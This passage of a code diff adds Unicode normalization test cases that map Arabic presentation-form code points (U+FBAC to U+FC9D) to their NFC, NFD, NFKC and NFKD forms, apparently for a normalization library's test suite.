+{ source: [0xFBAC], NFC: [0xFBAC], NFD: [0xFBAC], NFKC: [0x06BE], NFKD: [0x06BE] },
+{ source: [0xFBAD], NFC: [0xFBAD], NFD: [0xFBAD], NFKC: [0x06BE], NFKD: [0x06BE] },
+{ source: [0xFBAE], NFC: [0xFBAE], NFD: [0xFBAE], NFKC: [0x06D2], NFKD: [0x06D2] },
+{ source: [0xFBAF], NFC: [0xFBAF], NFD: [0xFBAF], NFKC: [0x06D2], NFKD: [0x06D2] },
+{ source: [0xFBB0], NFC: [0xFBB0], NFD: [0xFBB0], NFKC: [0x06D3], NFKD: [0x06D2, 0x0654] },
+{ source: [0xFBB1], NFC: [0xFBB1], NFD: [0xFBB1], NFKC: [0x06D3], NFKD: [0x06D2, 0x0654] },
+{ source: [0xFBD3], NFC: [0xFBD3], NFD: [0xFBD3], NFKC: [0x06AD], NFKD: [0x06AD] },
+{ source: [0xFBD4], NFC: [0xFBD4], NFD: [0xFBD4], NFKC: [0x06AD], NFKD: [0x06AD] },
+{ source: [0xFBD5], NFC: [0xFBD5], NFD: [0xFBD5], NFKC: [0x06AD], NFKD: [0x06AD] },
+{ source: [0xFBD6], NFC: [0xFBD6], NFD: [0xFBD6], NFKC: [0x06AD], NFKD: [0x06AD] },
+{ source: [0xFBD7], NFC: [0xFBD7], NFD: [0xFBD7], NFKC: [0x06C7], NFKD: [0x06C7] },
+{ source: [0xFBD8], NFC: [0xFBD8], NFD: [0xFBD8], NFKC: [0x06C7], NFKD: [0x06C7] },
+{ source: [0xFBD9], NFC: [0xFBD9], NFD: [0xFBD9], NFKC: [0x06C6], NFKD: [0x06C6] },
+{ source: [0xFBDA], NFC: [0xFBDA], NFD: [0xFBDA], NFKC: [0x06C6], NFKD: [0x06C6] },
+{ source: [0xFBDB], NFC: [0xFBDB], NFD: [0xFBDB], NFKC: [0x06C8], NFKD: [0x06C8] },
+{ source: [0xFBDC], NFC: [0xFBDC], NFD: [0xFBDC], NFKC: [0x06C8], NFKD: [0x06C8] },
+{ source: [0xFBDD], NFC: [0xFBDD], NFD: [0xFBDD], NFKC: [0x06C7, 0x0674], NFKD: [0x06C7, 0x0674] },
+{ source: [0xFBDE], NFC: [0xFBDE], NFD: [0xFBDE], NFKC: [0x06CB], NFKD: [0x06CB] },
+{ source: [0xFBDF], NFC: [0xFBDF], NFD: [0xFBDF], NFKC: [0x06CB], NFKD: [0x06CB] },
+{ source: [0xFBE0], NFC: [0xFBE0], NFD: [0xFBE0], NFKC: [0x06C5], NFKD: [0x06C5] },
+{ source: [0xFBE1], NFC: [0xFBE1], NFD: [0xFBE1], NFKC: [0x06C5], NFKD: [0x06C5] },
+{ source: [0xFBE2], NFC: [0xFBE2], NFD: [0xFBE2], NFKC: [0x06C9], NFKD: [0x06C9] },
+{ source: [0xFBE3], NFC: [0xFBE3], NFD: [0xFBE3], NFKC: [0x06C9], NFKD: [0x06C9] },
+{ source: [0xFBE4], NFC: [0xFBE4], NFD: [0xFBE4], NFKC: [0x06D0], NFKD: [0x06D0] },
+{ source: [0xFBE5], NFC: [0xFBE5], NFD: [0xFBE5], NFKC: [0x06D0], NFKD: [0x06D0] },
+{ source: [0xFBE6], NFC: [0xFBE6], NFD: [0xFBE6], NFKC: [0x06D0], NFKD: [0x06D0] },
+{ source: [0xFBE7], NFC: [0xFBE7], NFD: [0xFBE7], NFKC: [0x06D0], NFKD: [0x06D0] },
+{ source: [0xFBE8], NFC: [0xFBE8], NFD: [0xFBE8], NFKC: [0x0649], NFKD: [0x0649] },
+{ source: [0xFBE9], NFC: [0xFBE9], NFD: [0xFBE9], NFKC: [0x0649], NFKD: [0x0649] },
+{ source: [0xFBEA], NFC: [0xFBEA], NFD: [0xFBEA], NFKC: [0x0626, 0x0627], NFKD: [0x064A, 0x0654, 0x0627] },
+{ source: [0xFBEB], NFC: [0xFBEB], NFD: [0xFBEB], NFKC: [0x0626, 0x0627], NFKD: [0x064A, 0x0654, 0x0627] },
+{ source: [0xFBEC], NFC: [0xFBEC], NFD: [0xFBEC], NFKC: [0x0626, 0x06D5], NFKD: [0x064A, 0x0654, 0x06D5] },
+{ source: [0xFBED], NFC: [0xFBED], NFD: [0xFBED], NFKC: [0x0626, 0x06D5], NFKD: [0x064A, 0x0654, 0x06D5] },
+{ source: [0xFBEE], NFC: [0xFBEE], NFD: [0xFBEE], NFKC: [0x0626, 0x0648], NFKD: [0x064A, 0x0654, 0x0648] },
+{ source: [0xFBEF], NFC: [0xFBEF], NFD: [0xFBEF], NFKC: [0x0626, 0x0648], NFKD: [0x064A, 0x0654, 0x0648] },
+{ source: [0xFBF0], NFC: [0xFBF0], NFD: [0xFBF0], NFKC: [0x0626, 0x06C7], NFKD: [0x064A, 0x0654, 0x06C7] },
+{ source: [0xFBF1], NFC: [0xFBF1], NFD: [0xFBF1], NFKC: [0x0626, 0x06C7], NFKD: [0x064A, 0x0654, 0x06C7] },
+{ source: [0xFBF2], NFC: [0xFBF2], NFD: [0xFBF2], NFKC: [0x0626, 0x06C6], NFKD: [0x064A, 0x0654, 0x06C6] },
+{ source: [0xFBF3], NFC: [0xFBF3], NFD: [0xFBF3], NFKC: [0x0626, 0x06C6], NFKD: [0x064A, 0x0654, 0x06C6] },
+{ source: [0xFBF4], NFC: [0xFBF4], NFD: [0xFBF4], NFKC: [0x0626, 0x06C8], NFKD: [0x064A, 0x0654, 0x06C8] },
+{ source: [0xFBF5], NFC: [0xFBF5], NFD: [0xFBF5], NFKC: [0x0626, 0x06C8], NFKD: [0x064A, 0x0654, 0x06C8] },
+{ source: [0xFBF6], NFC: [0xFBF6], NFD: [0xFBF6], NFKC: [0x0626, 0x06D0], NFKD: [0x064A, 0x0654, 0x06D0] },
+{ source: [0xFBF7], NFC: [0xFBF7], NFD: [0xFBF7], NFKC: [0x0626, 0x06D0], NFKD: [0x064A, 0x0654, 0x06D0] },
+{ source: [0xFBF8], NFC: [0xFBF8], NFD: [0xFBF8], NFKC: [0x0626, 0x06D0], NFKD: [0x064A, 0x0654, 0x06D0] },
+{ source: [0xFBF9], NFC: [0xFBF9], NFD: [0xFBF9], NFKC: [0x0626, 0x0649], NFKD: [0x064A, 0x0654, 0x0649] },
+{ source: [0xFBFA], NFC: [0xFBFA], NFD: [0xFBFA], NFKC: [0x0626, 0x0649], NFKD: [0x064A, 0x0654, 0x0649] },
+{ source: [0xFBFB], NFC: [0xFBFB], NFD: [0xFBFB], NFKC: [0x0626, 0x0649], NFKD: [0x064A, 0x0654, 0x0649] },
+{ source: [0xFBFC], NFC: [0xFBFC], NFD: [0xFBFC], NFKC: [0x06CC], NFKD: [0x06CC] },
+{ source: [0xFBFD], NFC: [0xFBFD], NFD: [0xFBFD], NFKC: [0x06CC], NFKD: [0x06CC] },
+{ source: [0xFBFE], NFC: [0xFBFE], NFD: [0xFBFE], NFKC: [0x06CC], NFKD: [0x06CC] },
+{ source: [0xFBFF], NFC: [0xFBFF], NFD: [0xFBFF], NFKC: [0x06CC], NFKD: [0x06CC] },
+{ source: [0xFC00], NFC: [0xFC00], NFD: [0xFC00], NFKC: [0x0626, 0x062C], NFKD: [0x064A, 0x0654, 0x062C] },
+{ source: [0xFC01], NFC: [0xFC01], NFD: [0xFC01], NFKC: [0x0626, 0x062D], NFKD: [0x064A, 0x0654, 0x062D] },
+{ source: [0xFC02], NFC: [0xFC02], NFD: [0xFC02], NFKC: [0x0626, 0x0645], NFKD: [0x064A, 0x0654, 0x0645] },
+{ source: [0xFC03], NFC: [0xFC03], NFD: [0xFC03], NFKC: [0x0626, 0x0649], NFKD: [0x064A, 0x0654, 0x0649] },
+{ source: [0xFC04], NFC: [0xFC04], NFD: [0xFC04], NFKC: [0x0626, 0x064A], NFKD: [0x064A, 0x0654, 0x064A] },
+{ source: [0xFC05], NFC: [0xFC05], NFD: [0xFC05], NFKC: [0x0628, 0x062C], NFKD: [0x0628, 0x062C] },
+{ source: [0xFC06], NFC: [0xFC06], NFD: [0xFC06], NFKC: [0x0628, 0x062D], NFKD: [0x0628, 0x062D] },
+{ source: [0xFC07], NFC: [0xFC07], NFD: [0xFC07], NFKC: [0x0628, 0x062E], NFKD: [0x0628, 0x062E] },
+{ source: [0xFC08], NFC: [0xFC08], NFD: [0xFC08], NFKC: [0x0628, 0x0645], NFKD: [0x0628, 0x0645] },
+{ source: [0xFC09], NFC: [0xFC09], NFD: [0xFC09], NFKC: [0x0628, 0x0649], NFKD: [0x0628, 0x0649] },
+{ source: [0xFC0A], NFC: [0xFC0A], NFD: [0xFC0A], NFKC: [0x0628, 0x064A], NFKD: [0x0628, 0x064A] },
+{ source: [0xFC0B], NFC: [0xFC0B], NFD: [0xFC0B], NFKC: [0x062A, 0x062C], NFKD: [0x062A, 0x062C] },
+{ source: [0xFC0C], NFC: [0xFC0C], NFD: [0xFC0C], NFKC: [0x062A, 0x062D], NFKD: [0x062A, 0x062D] },
+{ source: [0xFC0D], NFC: [0xFC0D], NFD: [0xFC0D], NFKC: [0x062A, 0x062E], NFKD: [0x062A, 0x062E] },
+{ source: [0xFC0E], NFC: [0xFC0E], NFD: [0xFC0E], NFKC: [0x062A, 0x0645], NFKD: [0x062A, 0x0645] },
+{ source: [0xFC0F], NFC: [0xFC0F], NFD: [0xFC0F], NFKC: [0x062A, 0x0649], NFKD: [0x062A, 0x0649] },
+{ source: [0xFC10], NFC: [0xFC10], NFD: [0xFC10], NFKC: [0x062A, 0x064A], NFKD: [0x062A, 0x064A] },
+{ source: [0xFC11], NFC: [0xFC11], NFD: [0xFC11], NFKC: [0x062B, 0x062C], NFKD: [0x062B, 0x062C] },
+{ source: [0xFC12], NFC: [0xFC12], NFD: [0xFC12], NFKC: [0x062B, 0x0645], NFKD: [0x062B, 0x0645] },
+{ source: [0xFC13], NFC: [0xFC13], NFD: [0xFC13], NFKC: [0x062B, 0x0649], NFKD: [0x062B, 0x0649] },
+{ source: [0xFC14], NFC: [0xFC14], NFD: [0xFC14], NFKC: [0x062B, 0x064A], NFKD: [0x062B, 0x064A] },
+{ source: [0xFC15], NFC: [0xFC15], NFD: [0xFC15], NFKC: [0x062C, 0x062D], NFKD: [0x062C, 0x062D] },
+{ source: [0xFC16], NFC: [0xFC16], NFD: [0xFC16], NFKC: [0x062C, 0x0645], NFKD: [0x062C, 0x0645] },
+{ source: [0xFC17], NFC: [0xFC17], NFD: [0xFC17], NFKC: [0x062D, 0x062C], NFKD: [0x062D, 0x062C] },
+{ source: [0xFC18], NFC: [0xFC18], NFD: [0xFC18], NFKC: [0x062D, 0x0645], NFKD: [0x062D, 0x0645] },
+{ source: [0xFC19], NFC: [0xFC19], NFD: [0xFC19], NFKC: [0x062E, 0x062C], NFKD: [0x062E, 0x062C] },
+{ source: [0xFC1A], NFC: [0xFC1A], NFD: [0xFC1A], NFKC: [0x062E, 0x062D], NFKD: [0x062E, 0x062D] },
+{ source: [0xFC1B], NFC: [0xFC1B], NFD: [0xFC1B], NFKC: [0x062E, 0x0645], NFKD: [0x062E, 0x0645] },
+{ source: [0xFC1C], NFC: [0xFC1C], NFD: [0xFC1C], NFKC: [0x0633, 0x062C], NFKD: [0x0633, 0x062C] },
+{ source: [0xFC1D], NFC: [0xFC1D], NFD: [0xFC1D], NFKC: [0x0633, 0x062D], NFKD: [0x0633, 0x062D] },
+{ source: [0xFC1E], NFC: [0xFC1E], NFD: [0xFC1E], NFKC: [0x0633, 0x062E], NFKD: [0x0633, 0x062E] },
+{ source: [0xFC1F], NFC: [0xFC1F], NFD: [0xFC1F], NFKC: [0x0633, 0x0645], NFKD: [0x0633, 0x0645] },
+{ source: [0xFC20], NFC: [0xFC20], NFD: [0xFC20], NFKC: [0x0635, 0x062D], NFKD: [0x0635, 0x062D] },
+{ source: [0xFC21], NFC: [0xFC21], NFD: [0xFC21], NFKC: [0x0635, 0x0645], NFKD: [0x0635, 0x0645] },
+{ source: [0xFC22], NFC: [0xFC22], NFD: [0xFC22], NFKC: [0x0636, 0x062C], NFKD: [0x0636, 0x062C] },
+{ source: [0xFC23], NFC: [0xFC23], NFD: [0xFC23], NFKC: [0x0636, 0x062D], NFKD: [0x0636, 0x062D] },
+{ source: [0xFC24], NFC: [0xFC24], NFD: [0xFC24], NFKC: [0x0636, 0x062E], NFKD: [0x0636, 0x062E] },
+{ source: [0xFC25], NFC: [0xFC25], NFD: [0xFC25], NFKC: [0x0636, 0x0645], NFKD: [0x0636, 0x0645] },
+{ source: [0xFC26], NFC: [0xFC26], NFD: [0xFC26], NFKC: [0x0637, 0x062D], NFKD: [0x0637, 0x062D] },
+{ source: [0xFC27], NFC: [0xFC27], NFD: [0xFC27], NFKC: [0x0637, 0x0645], NFKD: [0x0637, 0x0645] },
+{ source: [0xFC28], NFC: [0xFC28], NFD: [0xFC28], NFKC: [0x0638, 0x0645], NFKD: [0x0638, 0x0645] },
+{ source: [0xFC29], NFC: [0xFC29], NFD: [0xFC29], NFKC: [0x0639, 0x062C], NFKD: [0x0639, 0x062C] },
+{ source: [0xFC2A], NFC: [0xFC2A], NFD: [0xFC2A], NFKC: [0x0639, 0x0645], NFKD: [0x0639, 0x0645] },
+{ source: [0xFC2B], NFC: [0xFC2B], NFD: [0xFC2B], NFKC: [0x063A, 0x062C], NFKD: [0x063A, 0x062C] },
+{ source: [0xFC2C], NFC: [0xFC2C], NFD: [0xFC2C], NFKC: [0x063A, 0x0645], NFKD: [0x063A, 0x0645] },
+{ source: [0xFC2D], NFC: [0xFC2D], NFD: [0xFC2D], NFKC: [0x0641, 0x062C], NFKD: [0x0641, 0x062C] },
+{ source: [0xFC2E], NFC: [0xFC2E], NFD: [0xFC2E], NFKC: [0x0641, 0x062D], NFKD: [0x0641, 0x062D] },
+{ source: [0xFC2F], NFC: [0xFC2F], NFD: [0xFC2F], NFKC: [0x0641, 0x062E], NFKD: [0x0641, 0x062E] },
+{ source: [0xFC30], NFC: [0xFC30], NFD: [0xFC30], NFKC: [0x0641, 0x0645], NFKD: [0x0641, 0x0645] },
+{ source: [0xFC31], NFC: [0xFC31], NFD: [0xFC31], NFKC: [0x0641, 0x0649], NFKD: [0x0641, 0x0649] },
+{ source: [0xFC32], NFC: [0xFC32], NFD: [0xFC32], NFKC: [0x0641, 0x064A], NFKD: [0x0641, 0x064A] },
+{ source: [0xFC33], NFC: [0xFC33], NFD: [0xFC33], NFKC: [0x0642, 0x062D], NFKD: [0x0642, 0x062D] },
+{ source: [0xFC34], NFC: [0xFC34], NFD: [0xFC34], NFKC: [0x0642, 0x0645], NFKD: [0x0642, 0x0645] },
+{ source: [0xFC35], NFC: [0xFC35], NFD: [0xFC35], NFKC: [0x0642, 0x0649], NFKD: [0x0642, 0x0649] },
+{ source: [0xFC36], NFC: [0xFC36], NFD: [0xFC36], NFKC: [0x0642, 0x064A], NFKD: [0x0642, 0x064A] },
+{ source: [0xFC37], NFC: [0xFC37], NFD: [0xFC37], NFKC: [0x0643, 0x0627], NFKD: [0x0643, 0x0627] },
+{ source: [0xFC38], NFC: [0xFC38], NFD: [0xFC38], NFKC: [0x0643, 0x062C], NFKD: [0x0643, 0x062C] },
+{ source: [0xFC39], NFC: [0xFC39], NFD: [0xFC39], NFKC: [0x0643, 0x062D], NFKD: [0x0643, 0x062D] },
+{ source: [0xFC3A], NFC: [0xFC3A], NFD: [0xFC3A], NFKC: [0x0643, 0x062E], NFKD: [0x0643, 0x062E] },
+{ source: [0xFC3B], NFC: [0xFC3B], NFD: [0xFC3B], NFKC: [0x0643, 0x0644], NFKD: [0x0643, 0x0644] },
+{ source: [0xFC3C], NFC: [0xFC3C], NFD: [0xFC3C], NFKC: [0x0643, 0x0645], NFKD: [0x0643, 0x0645] },
+{ source: [0xFC3D], NFC: [0xFC3D], NFD: [0xFC3D], NFKC: [0x0643, 0x0649], NFKD: [0x0643, 0x0649] },
+{ source: [0xFC3E], NFC: [0xFC3E], NFD: [0xFC3E], NFKC: [0x0643, 0x064A], NFKD: [0x0643, 0x064A] },
+{ source: [0xFC3F], NFC: [0xFC3F], NFD: [0xFC3F], NFKC: [0x0644, 0x062C], NFKD: [0x0644, 0x062C] },
+{ source: [0xFC40], NFC: [0xFC40], NFD: [0xFC40], NFKC: [0x0644, 0x062D], NFKD: [0x0644, 0x062D] },
+{ source: [0xFC41], NFC: [0xFC41], NFD: [0xFC41], NFKC: [0x0644, 0x062E], NFKD: [0x0644, 0x062E] },
+{ source: [0xFC42], NFC: [0xFC42], NFD: [0xFC42], NFKC: [0x0644, 0x0645], NFKD: [0x0644, 0x0645] },
+{ source: [0xFC43], NFC: [0xFC43], NFD: [0xFC43], NFKC: [0x0644, 0x0649], NFKD: [0x0644, 0x0649] },
+{ source: [0xFC44], NFC: [0xFC44], NFD: [0xFC44], NFKC: [0x0644, 0x064A], NFKD: [0x0644, 0x064A] },
+{ source: [0xFC45], NFC: [0xFC45], NFD: [0xFC45], NFKC: [0x0645, 0x062C], NFKD: [0x0645, 0x062C] },
+{ source: [0xFC46], NFC: [0xFC46], NFD: [0xFC46], NFKC: [0x0645, 0x062D], NFKD: [0x0645, 0x062D] },
+{ source: [0xFC47], NFC: [0xFC47], NFD: [0xFC47], NFKC: [0x0645, 0x062E], NFKD: [0x0645, 0x062E] },
+{ source: [0xFC48], NFC: [0xFC48], NFD: [0xFC48], NFKC: [0x0645, 0x0645], NFKD: [0x0645, 0x0645] },
+{ source: [0xFC49], NFC: [0xFC49], NFD: [0xFC49], NFKC: [0x0645, 0x0649], NFKD: [0x0645, 0x0649] },
+{ source: [0xFC4A], NFC: [0xFC4A], NFD: [0xFC4A], NFKC: [0x0645, 0x064A], NFKD: [0x0645, 0x064A] },
+{ source: [0xFC4B], NFC: [0xFC4B], NFD: [0xFC4B], NFKC: [0x0646, 0x062C], NFKD: [0x0646, 0x062C] },
+{ source: [0xFC4C], NFC: [0xFC4C], NFD: [0xFC4C], NFKC: [0x0646, 0x062D], NFKD: [0x0646, 0x062D] },
+{ source: [0xFC4D], NFC: [0xFC4D], NFD: [0xFC4D], NFKC: [0x0646, 0x062E], NFKD: [0x0646, 0x062E] },
+{ source: [0xFC4E], NFC: [0xFC4E], NFD: [0xFC4E], NFKC: [0x0646, 0x0645], NFKD: [0x0646, 0x0645] },
+{ source: [0xFC4F], NFC: [0xFC4F], NFD: [0xFC4F], NFKC: [0x0646, 0x0649], NFKD: [0x0646, 0x0649] },
+{ source: [0xFC50], NFC: [0xFC50], NFD: [0xFC50], NFKC: [0x0646, 0x064A], NFKD: [0x0646, 0x064A] },
+{ source: [0xFC51], NFC: [0xFC51], NFD: [0xFC51], NFKC: [0x0647, 0x062C], NFKD: [0x0647, 0x062C] },
+{ source: [0xFC52], NFC: [0xFC52], NFD: [0xFC52], NFKC: [0x0647, 0x0645], NFKD: [0x0647, 0x0645] },
+{ source: [0xFC53], NFC: [0xFC53], NFD: [0xFC53], NFKC: [0x0647, 0x0649], NFKD: [0x0647, 0x0649] },
+{ source: [0xFC54], NFC: [0xFC54], NFD: [0xFC54], NFKC: [0x0647, 0x064A], NFKD: [0x0647, 0x064A] },
+{ source: [0xFC55], NFC: [0xFC55], NFD: [0xFC55], NFKC: [0x064A, 0x062C], NFKD: [0x064A, 0x062C] },
+{ source: [0xFC56], NFC: [0xFC56], NFD: [0xFC56], NFKC: [0x064A, 0x062D], NFKD: [0x064A, 0x062D] },
+{ source: [0xFC57], NFC: [0xFC57], NFD: [0xFC57], NFKC: [0x064A, 0x062E], NFKD: [0x064A, 0x062E] },
+{ source: [0xFC58], NFC: [0xFC58], NFD: [0xFC58], NFKC: [0x064A, 0x0645], NFKD: [0x064A, 0x0645] },
+{ source: [0xFC59], NFC: [0xFC59], NFD: [0xFC59], NFKC: [0x064A, 0x0649], NFKD: [0x064A, 0x0649] },
+{ source: [0xFC5A], NFC: [0xFC5A], NFD: [0xFC5A], NFKC: [0x064A, 0x064A], NFKD: [0x064A, 0x064A] },
+{ source: [0xFC5B], NFC: [0xFC5B], NFD: [0xFC5B], NFKC: [0x0630, 0x0670], NFKD: [0x0630, 0x0670] },
+{ source: [0xFC5C], NFC: [0xFC5C], NFD: [0xFC5C], NFKC: [0x0631, 0x0670], NFKD: [0x0631, 0x0670] },
+{ source: [0xFC5D], NFC: [0xFC5D], NFD: [0xFC5D], NFKC: [0x0649, 0x0670], NFKD: [0x0649, 0x0670] },
+{ source: [0xFC5E], NFC: [0xFC5E], NFD: [0xFC5E], NFKC: [0x0020, 0x064C, 0x0651], NFKD: [0x0020, 0x064C, 0x0651] },
+{ source: [0xFC5F], NFC: [0xFC5F], NFD: [0xFC5F], NFKC: [0x0020, 0x064D, 0x0651], NFKD: [0x0020, 0x064D, 0x0651] },
+{ source: [0xFC60], NFC: [0xFC60], NFD: [0xFC60], NFKC: [0x0020, 0x064E, 0x0651], NFKD: [0x0020, 0x064E, 0x0651] },
+{ source: [0xFC61], NFC: [0xFC61], NFD: [0xFC61], NFKC: [0x0020, 0x064F, 0x0651], NFKD: [0x0020, 0x064F, 0x0651] },
+{ source: [0xFC62], NFC: [0xFC62], NFD: [0xFC62], NFKC: [0x0020, 0x0650, 0x0651], NFKD: [0x0020, 0x0650, 0x0651] },
+{ source: [0xFC63], NFC: [0xFC63], NFD: [0xFC63], NFKC: [0x0020, 0x0651, 0x0670], NFKD: [0x0020, 0x0651, 0x0670] },
+{ source: [0xFC64], NFC: [0xFC64], NFD: [0xFC64], NFKC: [0x0626, 0x0631], NFKD: [0x064A, 0x0654, 0x0631] },
+{ source: [0xFC65], NFC: [0xFC65], NFD: [0xFC65], NFKC: [0x0626, 0x0632], NFKD: [0x064A, 0x0654, 0x0632] },
+{ source: [0xFC66], NFC: [0xFC66], NFD: [0xFC66], NFKC: [0x0626, 0x0645], NFKD: [0x064A, 0x0654, 0x0645] },
+{ source: [0xFC67], NFC: [0xFC67], NFD: [0xFC67], NFKC: [0x0626, 0x0646], NFKD: [0x064A, 0x0654, 0x0646] },
+{ source: [0xFC68], NFC: [0xFC68], NFD: [0xFC68], NFKC: [0x0626, 0x0649], NFKD: [0x064A, 0x0654, 0x0649] },
+{ source: [0xFC69], NFC: [0xFC69], NFD: [0xFC69], NFKC: [0x0626, 0x064A], NFKD: [0x064A, 0x0654, 0x064A] },
+{ source: [0xFC6A], NFC: [0xFC6A], NFD: [0xFC6A], NFKC: [0x0628, 0x0631], NFKD: [0x0628, 0x0631] },
+{ source: [0xFC6B], NFC: [0xFC6B], NFD: [0xFC6B], NFKC: [0x0628, 0x0632], NFKD: [0x0628, 0x0632] },
+{ source: [0xFC6C], NFC: [0xFC6C], NFD: [0xFC6C], NFKC: [0x0628, 0x0645], NFKD: [0x0628, 0x0645] },
+{ source: [0xFC6D], NFC: [0xFC6D], NFD: [0xFC6D], NFKC: [0x0628, 0x0646], NFKD: [0x0628, 0x0646] },
+{ source: [0xFC6E], NFC: [0xFC6E], NFD: [0xFC6E], NFKC: [0x0628, 0x0649], NFKD: [0x0628, 0x0649] },
+{ source: [0xFC6F], NFC: [0xFC6F], NFD: [0xFC6F], NFKC: [0x0628, 0x064A], NFKD: [0x0628, 0x064A] },
+{ source: [0xFC70], NFC: [0xFC70], NFD: [0xFC70], NFKC: [0x062A, 0x0631], NFKD: [0x062A, 0x0631] },
+{ source: [0xFC71], NFC: [0xFC71], NFD: [0xFC71], NFKC: [0x062A, 0x0632], NFKD: [0x062A, 0x0632] },
+{ source: [0xFC72], NFC: [0xFC72], NFD: [0xFC72], NFKC: [0x062A, 0x0645], NFKD: [0x062A, 0x0645] },
+{ source: [0xFC73], NFC: [0xFC73], NFD: [0xFC73], NFKC: [0x062A, 0x0646], NFKD: [0x062A, 0x0646] },
+{ source: [0xFC74], NFC: [0xFC74], NFD: [0xFC74], NFKC: [0x062A, 0x0649], NFKD: [0x062A, 0x0649] },
+{ source: [0xFC75], NFC: [0xFC75], NFD: [0xFC75], NFKC: [0x062A, 0x064A], NFKD: [0x062A, 0x064A] },
+{ source: [0xFC76], NFC: [0xFC76], NFD: [0xFC76], NFKC: [0x062B, 0x0631], NFKD: [0x062B, 0x0631] },
+{ source: [0xFC77], NFC: [0xFC77], NFD: [0xFC77], NFKC: [0x062B, 0x0632], NFKD: [0x062B, 0x0632] },
+{ source: [0xFC78], NFC: [0xFC78], NFD: [0xFC78], NFKC: [0x062B, 0x0645], NFKD: [0x062B, 0x0645] },
+{ source: [0xFC79], NFC: [0xFC79], NFD: [0xFC79], NFKC: [0x062B, 0x0646], NFKD: [0x062B, 0x0646] },
+{ source: [0xFC7A], NFC: [0xFC7A], NFD: [0xFC7A], NFKC: [0x062B, 0x0649], NFKD: [0x062B, 0x0649] },
+{ source: [0xFC7B], NFC: [0xFC7B], NFD: [0xFC7B], NFKC: [0x062B, 0x064A], NFKD: [0x062B, 0x064A] },
+{ source: [0xFC7C], NFC: [0xFC7C], NFD: [0xFC7C], NFKC: [0x0641, 0x0649], NFKD: [0x0641, 0x0649] },
+{ source: [0xFC7D], NFC: [0xFC7D], NFD: [0xFC7D], NFKC: [0x0641, 0x064A], NFKD: [0x0641, 0x064A] },
+{ source: [0xFC7E], NFC: [0xFC7E], NFD: [0xFC7E], NFKC: [0x0642, 0x0649], NFKD: [0x0642, 0x0649] },
+{ source: [0xFC7F], NFC: [0xFC7F], NFD: [0xFC7F], NFKC: [0x0642, 0x064A], NFKD: [0x0642, 0x064A] },
+{ source: [0xFC80], NFC: [0xFC80], NFD: [0xFC80], NFKC: [0x0643, 0x0627], NFKD: [0x0643, 0x0627] },
+{ source: [0xFC81], NFC: [0xFC81], NFD: [0xFC81], NFKC: [0x0643, 0x0644], NFKD: [0x0643, 0x0644] },
+{ source: [0xFC82], NFC: [0xFC82], NFD: [0xFC82], NFKC: [0x0643, 0x0645], NFKD: [0x0643, 0x0645] },
+{ source: [0xFC83], NFC: [0xFC83], NFD: [0xFC83], NFKC: [0x0643, 0x0649], NFKD: [0x0643, 0x0649] },
+{ source: [0xFC84], NFC: [0xFC84], NFD: [0xFC84], NFKC: [0x0643, 0x064A], NFKD: [0x0643, 0x064A] },
+{ source: [0xFC85], NFC: [0xFC85], NFD: [0xFC85], NFKC: [0x0644, 0x0645], NFKD: [0x0644, 0x0645] },
+{ source: [0xFC86], NFC: [0xFC86], NFD: [0xFC86], NFKC: [0x0644, 0x0649], NFKD: [0x0644, 0x0649] },
+{ source: [0xFC87], NFC: [0xFC87], NFD: [0xFC87], NFKC: [0x0644, 0x064A], NFKD: [0x0644, 0x064A] },
+{ source: [0xFC88], NFC: [0xFC88], NFD: [0xFC88], NFKC: [0x0645, 0x0627], NFKD: [0x0645, 0x0627] },
+{ source: [0xFC89], NFC: [0xFC89], NFD: [0xFC89], NFKC: [0x0645, 0x0645], NFKD: [0x0645, 0x0645] },
+{ source: [0xFC8A], NFC: [0xFC8A], NFD: [0xFC8A], NFKC: [0x0646, 0x0631], NFKD: [0x0646, 0x0631] },
+{ source: [0xFC8B], NFC: [0xFC8B], NFD: [0xFC8B], NFKC: [0x0646, 0x0632], NFKD: [0x0646, 0x0632] },
+{ source: [0xFC8C], NFC: [0xFC8C], NFD: [0xFC8C], NFKC: [0x0646, 0x0645], NFKD: [0x0646, 0x0645] },
+{ source: [0xFC8D], NFC: [0xFC8D], NFD: [0xFC8D], NFKC: [0x0646, 0x0646], NFKD: [0x0646, 0x0646] },
+{ source: [0xFC8E], NFC: [0xFC8E], NFD: [0xFC8E], NFKC: [0x0646, 0x0649], NFKD: [0x0646, 0x0649] },
+{ source: [0xFC8F], NFC: [0xFC8F], NFD: [0xFC8F], NFKC: [0x0646, 0x064A], NFKD: [0x0646, 0x064A] },
+{ source: [0xFC90], NFC: [0xFC90], NFD: [0xFC90], NFKC: [0x0649, 0x0670], NFKD: [0x0649, 0x0670] },
+{ source: [0xFC91], NFC: [0xFC91], NFD: [0xFC91], NFKC: [0x064A, 0x0631], NFKD: [0x064A, 0x0631] },
+{ source: [0xFC92], NFC: [0xFC92], NFD: [0xFC92], NFKC: [0x064A, 0x0632], NFKD: [0x064A, 0x0632] },
+{ source: [0xFC93], NFC: [0xFC93], NFD: [0xFC93], NFKC: [0x064A, 0x0645], NFKD: [0x064A, 0x0645] },
+{ source: [0xFC94], NFC: [0xFC94], NFD: [0xFC94], NFKC: [0x064A, 0x0646], NFKD: [0x064A, 0x0646] },
+{ source: [0xFC95], NFC: [0xFC95], NFD: [0xFC95], NFKC: [0x064A, 0x0649], NFKD: [0x064A, 0x0649] },
+{ source: [0xFC96], NFC: [0xFC96], NFD: [0xFC96], NFKC: [0x064A, 0x064A], NFKD: [0x064A, 0x064A] },
+{ source: [0xFC97], NFC: [0xFC97], NFD: [0xFC97], NFKC: [0x0626, 0x062C], NFKD: [0x064A, 0x0654, 0x062C] },
+{ source: [0xFC98], NFC: [0xFC98], NFD: [0xFC98], NFKC: [0x0626, 0x062D], NFKD: [0x064A, 0x0654, 0x062D] },
+{ source: [0xFC99], NFC: [0xFC99], NFD: [0xFC99], NFKC: [0x0626, 0x062E], NFKD: [0x064A, 0x0654, 0x062E] },
+{ source: [0xFC9A], NFC: [0xFC9A], NFD: [0xFC9A], NFKC: [0x0626, 0x0645], NFKD: [0x064A, 0x0654, 0x0645] },
+{ source: [0xFC9B], NFC: [0xFC9B], NFD: [0xFC9B], NFKC: [0x0626, 0x0647], NFKD: [0x064A, 0x0654, 0x0647] },
+{ source: [0xFC9C], NFC: [0xFC9C], NFD: [0xFC9C], NFKC: [0x0628, 0x062C], NFKD: [0x0628, 0x062C] },
+{ source: [0xFC9D], NFC: [0xFC9D], NFD: [0xFC9D], NFKC: [0x0628, 0x062D], NFKD: [0x0628, 0x062D] },
